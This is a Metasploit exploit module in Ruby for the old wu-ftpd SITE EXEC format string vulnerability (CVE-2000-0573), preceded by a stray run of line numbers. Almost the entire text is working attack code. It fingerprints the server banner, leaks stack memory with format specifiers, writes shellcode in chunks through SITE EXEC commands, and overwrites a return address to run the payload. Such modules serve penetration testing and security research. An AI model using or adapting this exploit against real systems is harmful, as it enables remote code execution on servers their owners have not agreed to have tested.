1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 |
## # $Id: wuftpd_site_exec_format.rb 11166 2010-11-30 00:16:53Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp include Msf::Exploit::FormatString def initialize(info = {}) super(update_info(info, 'Name' => 'wu-ftpd SITE EXEC/INDEX Format String Vulnerability', 'Description'=> %q{ This module exploits a format string vulnerability in versions of the Washington University FTP server older than 2.6.1. By executing specially crafted SITE EXEC or SITE INDEX commands containing format specifiers, an attacker can corrupt memory and execute arbitrary code. }, 'Author' => [ 'jduck' ], 'Version'=> '$Revision: 11166 $', 'References' => [ ['CVE', '2000-0573'], ['OSVDB', '11805'], ['BID', '1387'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'PrependChrootBreak' => true }, 'Privileged' => true, 'Payload'=> { # format string max length 'Space'=> 256, # NOTE: \xff's need to be doubled (per ftp/telnet stuff) 'BadChars' => "\x00\x09\x0a\x0d\x20\x25\x2f", 'DisableNops' =>'True', 'StackAdjustment' => -1500 }, 'Platform' => [ 'linux' ], 'Targets'=> [ # # Automatic targeting via fingerprinting # [ 'Automatic Targeting', { 'auto' => true }], # # specific targets # [ 'Slackware 2.1 (Version wu-2.4(1) Sun Jul 31 21:15:56 CDT 1994)', { 'UseDPA' => false, 'PadBytes' => 3, 'NumPops' => 8, 'AddrPops'=> 100, 'Offset'=> -2088, # offset to stack return 'Writable' => 0xbfffde26, # stack, avoid badchars 'FlowHook' => -1, # auto now... 0xbffff1e4 # stack return addr } ], # these aren't exploitable (using built-in, stripped down vsprintf, no %n) #[ 'RedHat 5.2 (Version wu-2.4.2-academ[BETA-18](1) Mon Aug 3 19:17:20 EDT 1998)', #[ 'RedHat 6.0 (Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999)', #[ 'RedHat 6.1 (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999)', [ 'RedHat 6.2 (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000)', { 'UseDPA' => true, 'PadBytes' => 2, 'NumPops' => 276, 'AddrPops'=> 2, 'Offset'=> -17664, # offset to stack return 'Writable' => 0x806e726, # bss #'Writable' => 0xbfff0126, # stack, avoid badchars 'FlowHook' => -1, # auto now... 0xbfffb028 # stack return addr #'FlowHook'=> 0x806e1e0 # GOT of sprintf } ], # # this one will detect the parameters automagicly # [ 'Debug', { 'UseDPA' => false, 'PadBytes' => 0, 'NumPops' => 0, 'AddrPops'=> -1, 'Offset'=> -1, 'Writable' => 0x41414242, # 'FlowHook' => 0x43434545 # } ], ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Jun 22 2000')) register_options( [ Opt::RPORT(21), ], self.class ) end def check # NOTE: We don't care if the login failed here... ret = connect_login # We just want the banner to check against our targets.. print_status("FTP Banner: #{banner.strip}") status = Exploit::CheckCode::Safe if banner =~ /Version wu-2\.(4|5)/ status = Exploit::CheckCode::Appears elsif banner =~ /Version wu-2\.6\.0/ status = Exploit::CheckCode::Appears end # If we've made it this far, we care if login succeeded. if (ret) # NOTE: vulnerable and exploitable might not mean the same thing here :) if not fmtstr_detect_vulnerable status = Exploit::CheckCode::Safe end if not fmtstr_detect_exploitable status = Exploit::CheckCode::Safe end end disconnect return status end def exploit if (not connect_login) raise RuntimeError, 'Unable to authenticate' end # Use a copy of the target mytarget = target if (target['auto']) mytarget = nil print_status("Automatically detecting the target...") if (banner and (m = banner.match(/\(Version wu-(.*)\) ready/))) then print_status("FTP Banner: #{banner.strip}") version = m[1] else raise RuntimeError, "No matching target" end regexp = Regexp.escape(version) self.targets.each do |t| if (t.name =~ /#{regexp}/) then mytarget = t break end end if (not mytarget) raise RuntimeError, "No matching target" end print_status("Selected Target: #{mytarget.name}") else print_status("Trying target #{mytarget.name}...") if banner print_status("FTP Banner: #{banner.strip}") end end # proceed with chosen target... # detect stuff! if mytarget.name == "Debug" #fmtstr_set_caps(true, true) # dump the stack, so we can detect stuff magically print_status("Dumping the stack...") stack = Array.new extra = "aaaabbbb" 1000.times do |x| dw = fmtstr_stack_read(x+1, extra) break if not dw stack << dw end stack_data = stack.pack('V*') print_status("Obtained #{stack.length*4} bytes of stack data:\n" + Rex::Text.to_hex_dump(stack_data)) # detect the number of pad bytes idx = stack_data.index("aaaabbbb") if not idx raise RuntimeError, "Whoa, didn't find the static bytes on the stack!" end num_pad = 0 num_pad = 4 - (idx % 4) if (idx % 4) > 0 mytarget.opts['PadBytes'] = num_pad # calculate the number of pops needed to hit our addr num_pops = (idx + num_pad) / 4 mytarget.opts['NumPops'] = num_pops else num_pad = mytarget['PadBytes'] num_pops = mytarget['NumPops'] sc_loc = mytarget['Writable'] ret = mytarget['FlowHook'] end print_status("Number of pad bytes: #{num_pad}") print_status("Number of pops: #{num_pops}") # debugging -> don't try it! return if mytarget.name == "Debug" #print_status("ATTACH!") #select(nil,nil,nil,5) fmtstr_detect_caps # compute the stack return address using the fmt to leak memory addr_pops = mytarget['AddrPops'] offset = mytarget['Offset'] if addr_pops > 0 stackaddr = fmtstr_stack_read(addr_pops) print_status("Read %#x from offset %d" % [stackaddr, addr_pops]) ret = stackaddr + offset end print_status("Writing shellcode to: %#x" % sc_loc) print_status("Hijacking control via %#x" % ret) # no extra bytes before the padding.. num_start = 0 # write shellcode to 'writable' arr = fmtstr_gen_array_from_buf(sc_loc, payload.encoded, mytarget) # process it in groups of 24 (max ~400 bytes per command) sc_num = 1 while arr.length > 0 print_status("Sending part #{sc_num} of the payload...") sc_num += 1 narr = arr.slice!(0..24) fmtbuf = fmtstr_gen_from_array(num_start, narr, mytarget) # a space allows the next part to start with a '/' fmtbuf[num_pad-1,1] = " " fmtbuf.gsub!(/\xff/, "\xff\xff") if ((res = send_cmd(['SITE', 'EXEC', fmtbuf], true))) if res[0,4] == "500 " raise RuntimeError, "Crap! Something went wrong when uploading the payload..." end end end # write 'writable' addr to flowhook (execute shellcode) # NOTE: the resulting two writes must be done at the same time print_status("Attempting to write %#x to %#x.." % [sc_loc, ret]) fmtbuf = generate_fmt_two_shorts(num_start, ret, sc_loc, mytarget) # a space allows the next part to start with a '/' fmtbuf[num_pad-1,1] = " " fmtbuf.gsub!(/\xff/, "\xff\xff") # don't wait for the response here :) res = send_cmd(['SITE', 'EXEC', fmtbuf], false) print_status("Your payload should have executed now...") handler end # # these two functions are used to read stack memory # (used by fmtstr_stack_read() # def trigger_fmt(fmtstr) return nil if fmtstr.length >= (512 - (4+1 + 4+1 + 2 + 2)) send_cmd(['SITE', 'EXEC', 'x', fmtstr], true) end def extract_fmt_output(res) if (res =~ /^5.. /) #throw "Crap! Something went wrong while dumping the stack..." return nil end ret = res.strip.split(/\r?\n/)[0] ret = ret[6,ret.length] return ret end end |